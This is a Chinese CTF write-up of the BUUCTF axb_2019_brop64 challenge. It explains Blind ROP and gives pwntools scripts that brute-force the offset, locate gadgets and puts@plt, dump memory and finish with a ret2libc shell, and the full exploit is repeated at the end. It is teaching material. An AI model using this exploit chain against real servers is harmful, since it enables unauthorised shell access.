题目:buuctf-axb_2019_brop64第一次BROP,它让我觉得pwn,或者说网安很妙,也很折磨在遇到它之前,之前接触的题目都是简单的栈溢出,感觉没有啥有趣的,很简单,找gadget溢出就可以,一切都看得见可遇到它之后,这是真的折磨,一切都是未知但是因为未知,所以产生了美感,或许是因为摸不着,所以才有一种神秘的魔力一点点吸引我学pwn
BROP的发现与利用思想简介关于一篇论文因为为了更好的分享体验(防止翻车)我已经将题目部署在了本题,并且自己修改了一下flag的趣味性后面我会在本地进行盲打分享大家可以去buuctf找到这道题目(注意环境libc以及栈对齐一些问题)
【资料图】
bittau-brop.pdfBROP(Blind ROP),于 2014 年由 Standford 的 Andrea Bittau 提出,这种攻击方式是实现在无源代码和二进程程序的情况下对运行中的程序进行攻击。
利用思想从调用机制上去理解或许我们不知道main函数中调用了什么,但在main之前的一切,我们是知道的,也就是我们可以利用main函数,内核层在调用main时,所残留的gadget
我们的目标能让这个程序挂住,能让这个程序泄露,能让这个程序实现人为函数调用,最终我们要控制条件依赖程序存在栈溢出漏洞服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样。nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的这意味着: 栈中的canary是固定的,不会重置利用思路BROP的攻击思路一般有以下几个步骤:(挺模板的)
1.暴力枚举,获取栈溢出长度,如果程序开启了Canary ,顺便将canary也可以爆出来
2.寻找可以返回到程序main函数的gadget,通常被称为stop_gadget
3.利用stop_gadget寻找可利用(potentially useful)gadgets,如:pop rdi; ret
4.寻找BROP Gadget,可能需要诸如write、put等函数的系统调用
5.寻找相应的PLT地址
6.dump远程内存空间
7.拿到相应的GOT内容后,泄露出libc的内存信息,最后利用rop完成getshell
1.确定栈溢出的长度|偏移量在这之前,我们可以尝试%p%x%s,以来确定程序是否有格式化字符串漏洞
通过爆破确定栈溢出的长度, 如果存在Canary则顺便把Canary爆破出来.爆破Canary也称之为Stack Reading, 因为可以用相同的方式把栈上所有的数据都爆破出来.
+---------------------------+ | ret | +---------------------------+ | a | 递增a字符串覆盖ebp位置 ebp--->+---------------------------+ | a+ | 递增a字符串占位填满栈空间 | .... | ..... | a+ | 递增a字符串占位填满栈空间 | a+ | 递增a字符串占位填满栈空间 | a+ | 递增a字符串占位填满栈空间 | a+ | 递增a字符串占位填满栈空间 input-->+---------------------------+
def offset_find( ): offset = 0 while True: try: offset += 1 #io = remote("node4.buuoj.cn",25526) io = process("./pwn") io.recvuntil(b"Please tell me:") io.send(b"A"*offset) if b"Goodbye!" not in io.recvall(): raise "Programe not exit normally!" io.close() except Exception: log.success("The true offset->ebp length is "+ str(offset -1)) return offset - 1
2.寻找stop gadgets:第一步完成:偏移量为216
stop gadget一般指的是这样一段代码:当程序的执行这段代码时,程序会进入无限循环,这样使得攻击者能够一直保持连接状态。
如果该地址是非法地址,那么程序就会crash。这样的话,在攻击者看来程序只是单纯的crash了。因此,攻击者就会认为在这个过程中并没有执行到任何的useful gadget,从而放弃它。
对于这道题而言,我们的目标是寻找main,这样就能无限返回main函数,无限进攻尝试!
+---------------------------+ | 0x400000+ | 递增地址覆盖原ret返回位置 +---------------------------+ | a | a字符覆盖ebp位置 ebp--->+---------------------------+ | a | a字符覆盖ebp位置 | a | a字符覆盖ebp位置 | a | a字符覆盖ebp位置 | a | a字符覆盖ebp位置 | a | a字符覆盖ebp位置 input-->+---------------------------+
ps:在这之前,我们可以找出原本ret函数的返回地址,从而推出main函数的大概位置,从而缩小范围
def min_find(offset): #io = remote("node4.buuoj.cn",25526) io = process("./pwn") io.recvuntil(b"Please tell me:") io.send(b"A"*offset) io.recvuntil(b"A"*offset) old_return_addr = u64(io.recvuntil(b"G")[:-1].ljust(8,b"\x00")) #need 8 byte print(hex(old_return_addr)) io.close() return old_return_addrdef stop_find(old_return_addr,offset): stop_addr = 0x07d0 #0x0000 #low-bit while True: try: #io = remote("node4.buuoj.cn",25526) io = process("./pwn") io.recvuntil(b"Please tell me:") io.send(b"A" * offset + p64(old_return_addr + stop_addr)) print(hex(stop_addr)) if stop_addr > 0xFFFF: log.error("All low byte is wrong!") if b"Hello" in io.recvall( ): log.success("We found a stop gadget is " + hex(old_return_addr+stop_addr)) return (old_return_addr + stop_addr) stop_addr = stop_addr + 1 except Exception: io.close()
3.寻找brop-gadget第二步完成:我们得到的stop_addr = 0x4007d6
寻找BROP gadgets,这段gadget也就是libc_csu_init中的这段gadget.大家如果接触过retcsu,应该知道有一个这样很特殊的gadget
+---------------------------+ | pop rbx | 0x00 +---------------------------+ | pop rbp | 0x01 +---------------------------+ | pop r12 | 0x02 +---------------------------+ | pop r13 | 0x04 +---------------------------+ | pop r14 | 0x06 +---------------------------+------------------->pop rsi;ret 0x07 | pop r15 | 0x08 +---------------------------+------------------->pop rdi;ret 0x09 | ret | 0x10 -----------------------------//利用了gadget的结构,来确实是否为我们的要的那个gadget +---------------------------+ | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃 +---------------------------+ | .... | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃 +---------------------------+ | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃 +---------------------------+ | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃 +---------------------------+ | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃 +---------------------------+ | stop | <----- stop gadget,不会使程序崩溃,作为probe的ret位 +---------------------------+ | probe | <----- 探针 -----------------------------
如果我们找到这个gadget的收地址,那么,我们就能拥有几个特别好用的gadget,是啥?如果加上0x9,是pop_rdi_ret如果再加上0x5,是ret
对于这道题,我们的目标是pop_rdi_ret
+---------------------------+ | 0 | trap +---------------------------+ | ..... | trap +---------------------------+ | 0 | trap +---------------------------+ | stop gadget | stop gadget作为ret返回地址 +---------------------------+ | 0 | trap +---------------------------+ | 0 | trap +---------------------------+ | 0 | trap +---------------------------+ | 0 | trap +---------------------------+ | 0 | trap +---------------------------+ | 0 | trap +---------------------------+ | 0x400740+ | 递增地址覆盖原ret返回位置 +---------------------------+ | a | a字符串覆盖原saved ebp位置 ebp--->+---------------------------+ | a | a字符串占位填满栈空间 | .... | ..... | a | a字符串占位填满栈空间 | a | a字符串占位填满栈空间 | a | a字符串占位填满栈空间 | a | a字符串占位填满栈空间 our input-->+---------------------------+
def brop_find(stop_addr,offset): addr = 0x400950 #0x400000 while True: try: #io = remote("node4.buuoj.cn",25526) io = process("./pwn") io.recvuntil(b"Please tell me:") print(hex(addr)) #careful! payload = b"a"*offset + p64(addr) + p64(0)*6 + p64(stop_addr) io.send(payload) if b"Hello" in io.recvall(timeout=1): log.success("We find the brop_gadget " + hex(addr)) return hex(addr) addr += 1 except Exception: io.close()
4.寻找puts-plt第三步完成:我们得到的pop_rdi_ret 为 0x40095a + 0x9
为了让程序有健壮性,在软件构建的时候,采用了动态链接也就是,需要才去找他这个函数存在于哪里,利用plt和got表配合使用,从而实现这个功能puts-plt有跳转执行函数的功能,找到puts-plt就能执行puts函数
在找的时候,必须有一个回显内容来进行特征标注,告诉我们找到了在没有开启PIE保护的情况下,0x400000处为ELF文件的头部,其内容为’ \ x7fELF’所以我们就利用这个
对于寻找的思路,我们依旧是暴力枚举,(爆破范围是0x0000~0xFFFF),基址为0x400000
+---------------------------+ | stop gadget | stop gadget确保程序不崩溃 +---------------------------+ | 0x400000+ | 循环递增地址,作为pop的ret地址 +---------------------------+ | 0x400000 | ELF起始地址,地址内存放"\x7fELF" +---------------------------+ | 0x40095a + 0x9 | pop rdi;ret地址覆盖原ret返回位置 +---------------------------+ | a | a字符串覆盖ebp位置 ebp--->+---------------------------+ | a | a字符串占位填满栈空间 | .... | ..... | a | a字符串占位填满栈空间 | a | a字符串占位填满栈空间 | a | a字符串占位填满栈空间 | a | a字符串占位填满栈空间 our input-->+---------------------------+
def func_plt_find(plt_base, offset, stop_addr, pop_rdi_ret): maybe_low_byte = 0x0630 #0x0000 while True: try: #io = remote("node4.buuoj.cn",25526) io = process("./pwn") io.recvuntil(b"Please tell me:") payload = b"A" * offset payload += p64(pop_rdi_ret) payload += p64(0x400000) payload += p64(plt_base+ maybe_low_byte) payload += p64(stop_addr) print(hex(maybe_low_byte)) io.send(payload) if maybe_low_byte > 0xFFFF: log.error("All low byte is wrong!") if b"ELF" in io.recvall(timeout=1): log.success("We found a function plt address is " + hex(plt_base + maybe_low_byte)) return hex(plt_base + maybe_low_byte) maybe_low_byte = maybe_low_byte + 1 except: io.close()
5.dump出got地址第四步完成:我们找到的plt的地址为puts_plt = 0x400635
在上面的第四步,我们知道,plt表里,存着got地址,如果我们把plt表dump出来,那么我们就知道got的地址,知道got的地址,我们就能泄露真实的函数地址
def leak(offset,pop_rdi_ret,func_plt,leak_addr,stop_addr): io = process("./pwn") #io = remote("node4.buuoj.cn",25526) payload = b"a"*offset + p64(pop_rdi_ret) + p64(leak_addr) + p64(func_plt) + p64(stop_addr) io.recvuntil(b"Please tell me:") io.sendline(payload) io.recvuntil(b"a"*offset) io.recv(3) #0x400635 -> 3byte \x00 stop !!! try: output = io.recv(timeout = 1) io.close() try: output = output[:output.index(b"\nHello,I am a computer")] print(output) except Exception: output = output if output == b"": output = b"\x00" return output except Exception: io.close() return Nonedef dump_file(offset,pop_rdi_ret,puts_plt,addr,stop_addr): result =b"" while addr < 0x400835: print(hex(addr)) output = leak(offset, pop_rdi_ret,puts_plt,addr,stop_addr) if output is None: result += b"\x00" addr += 1 continue else: result += output addr += len(output) with open("dump_file","wb") as f: f.write(result)
生成的文件到本地,拖进去IDA分析此处省略,太久了
6.常规的retlibc解决即可第五步完成:got的地址为0x601018
如上我们泄露了got的地址,那么就能通过puts获得真实的函数地址利用真实函数地址,泄露libc版本找出shell条件,最后常规的栈溢出ROP即可解决
def attack(offset,pop_rdi_ret,puts_got,puts_plt,stop_addr): context(log_level="debug",arch = "amd64",os = "linux") io = process("./pwn") #io = remote("node4.buuoj.cn",27462) #libc = ELF("./libc-2.23.so") elf = ELF("./pwn") libc = elf.libc ret = 0x40095a + 0x9 + 0x5 payload = b"a"*offset payload += p64(pop_rdi_ret) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(stop_addr) io.recvuntil(b"Please tell me:") io.sendline(payload) io.recvuntil(b"a"*offset) io.recv(3) func_addr = io.recv(6) puts_address = u64(func_addr.ljust(8,b"\x00")) print(hex(puts_address)) #libc=LibcSearcher("puts",puts_address) #libcbase=puts_address-libc.dump("puts") #system_address=libcbase+libc.dump("system") #bin_sh=libcbase+libc.dump("str_bin_sh") libcbase = puts_address - libc.symbols["puts"] system_address = libcbase + libc.symbols["system"] bin_sh = libcbase + next(libc.search(b"/bin/sh\x00")) io.recvuntil(b"Please tell me:") payload = b"a"*offset + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_address) + p64(stop_addr) io.sendline(payload) io.interactive()
小彩蛋:home目录下的flag文件存的都是啥啊!!!
最后的EXP再ls一下,发现有一个ikun的目录,原来flag在这里
最好的exp,一共大概150行虽然多,但是很套路
from pwn import *from LibcSearcher import *def offset_find( ): offset = 0 while True: try: offset += 1 #io = remote("node4.buuoj.cn",25526) io = process("./pwn") io.recvuntil(b"Please tell me:") io.send(b"A"*offset) if b"Goodbye!" not in io.recvall(): raise "Programe not exit normally!" io.close() except Exception: log.success("The true offset->ebp length is "+ str(offset -1)) return offset - 1def min_find(offset): #io = remote("node4.buuoj.cn",25526) io = process("./pwn") io.recvuntil(b"Please tell me:") io.send(b"A"*offset) io.recvuntil(b"A"*offset) old_return_addr = u64(io.recvuntil(b"G")[:-1].ljust(8,b"\x00")) #need 8 byte print(hex(old_return_addr)) io.close() return old_return_addrdef stop_find(old_return_addr,offset): stop_addr = 0x07d0 #0x0000 #low-bit while True: try: #io = remote("node4.buuoj.cn",25526) io = process("./pwn") io.recvuntil(b"Please tell me:") io.send(b"A" * offset + p64(old_return_addr + stop_addr)) print(hex(stop_addr)) if stop_addr > 0xFFFF: log.error("All low byte is wrong!") if b"Hello" in io.recvall( ): log.success("We found a stop gadget is " + hex(old_return_addr+stop_addr)) return (old_return_addr + stop_addr) stop_addr = stop_addr + 1 except Exception: io.close()def brop_find(stop_addr,offset): addr = 0x400950 #0x400000 while True: try: #io = remote("node4.buuoj.cn",25526) io = process("./pwn") io.recvuntil(b"Please tell me:") print(hex(addr)) #careful! payload = b"a"*offset + p64(addr) + p64(0)*6 + p64(stop_addr) io.send(payload) if b"Hello" in io.recvall(timeout=1): log.success("We find the brop_gadget " + hex(addr)) return hex(addr) addr += 1 except Exception: io.close()def func_plt_find(plt_base, offset, stop_addr, pop_rdi_ret): maybe_low_byte = 0x0630 #0x0000 while True: try: #io = remote("node4.buuoj.cn",25526) io = process("./pwn") io.recvuntil(b"Please tell me:") payload = b"A" * offset payload += p64(pop_rdi_ret) payload += p64(0x400000) payload += p64(plt_base+ maybe_low_byte) payload += p64(stop_addr) print(hex(maybe_low_byte)) io.send(payload) if maybe_low_byte > 0xFFFF: log.error("All low byte is wrong!") if b"ELF" in io.recvall(timeout=1): log.success("We found a function plt address is " + hex(plt_base + maybe_low_byte)) return hex(plt_base + maybe_low_byte) maybe_low_byte = maybe_low_byte + 1 except: io.close()def leak(offset,pop_rdi_ret,func_plt,leak_addr,stop_addr): io = process("./pwn") #io = remote("node4.buuoj.cn",25526) payload = b"a"*offset + p64(pop_rdi_ret) + p64(leak_addr) + p64(func_plt) + p64(stop_addr) io.recvuntil(b"Please tell me:") io.sendline(payload) io.recvuntil(b"a"*offset) io.recv(3) #0x400635 -> 3byte \x00 stop !!! try: output = io.recv(timeout = 1) io.close() try: output = output[:output.index(b"\nHello,I am a computer")] print(output) except Exception: output = output if output == b"": output = b"\x00" return output except Exception: io.close() return Nonedef dump_file(offset,pop_rdi_ret,puts_plt,addr,stop_addr): result =b"" while addr < 0x400835: print(hex(addr)) output = leak(offset, pop_rdi_ret,puts_plt,addr,stop_addr) if output is None: result += b"\x00" addr += 1 continue else: result += output addr += len(output) with open("dump_file","wb") as f: f.write(result)def attack(offset,pop_rdi_ret,puts_got,puts_plt,stop_addr): context(log_level="debug",arch = "amd64",os = "linux") io = process("./pwn") #io = remote("node4.buuoj.cn",27462) #libc = ELF("./libc-2.23.so") elf = ELF("./pwn") libc = elf.libc ret = 0x40095a + 0x9 + 0x5 payload = b"a"*offset payload += p64(pop_rdi_ret) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(stop_addr) io.recvuntil(b"Please tell me:") io.sendline(payload) io.recvuntil(b"a"*offset) io.recv(3) func_addr = io.recv(6) puts_address = u64(func_addr.ljust(8,b"\x00")) print(hex(puts_address)) #libc=LibcSearcher("puts",puts_address) #libcbase=puts_address-libc.dump("puts") #system_address=libcbase+libc.dump("system") #bin_sh=libcbase+libc.dump("str_bin_sh") libcbase = puts_address - libc.symbols["puts"] system_address = libcbase + libc.symbols["system"] bin_sh = libcbase + next(libc.search(b"/bin/sh\x00")) io.recvuntil(b"Please tell me:") payload = b"a"*offset + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_address) + p64(stop_addr) io.sendline(payload) io.interactive()offset = 216 #offset_find()old_return_addr = 0x400000 #min_find(offset) #0x400834stop_addr = 0x4007d6 #stop_find(old_return_addr,offset) #0x4007d6brop_gadget = 0x40095a #brop_find(stop_addr,offset) #0x40095apop_rdi_ret =brop_gadget + 0x9plt_base = 0x400000puts_plt = 0x400635 #func_plt_find(plt_base,offset,stop_addr,pop_rdi_ret)puts_got = 0x601018 #dump_file(offset,pop_rdi_ret,puts_plt,0x400000,stop_addr)#offset_find()#min_find(offset) #stop_find(old_return_addr,offset) #brop_find(stop_addr,offset) #func_plt_find(plt_base,offset,stop_addr,pop_rdi_ret)#dump_file(offset,pop_rdi_ret,puts_plt,0x400000,stop_addr)attack(offset,pop_rdi_ret,puts_got,puts_plt,stop_addr)
#谢谢你的观看!^ _ ^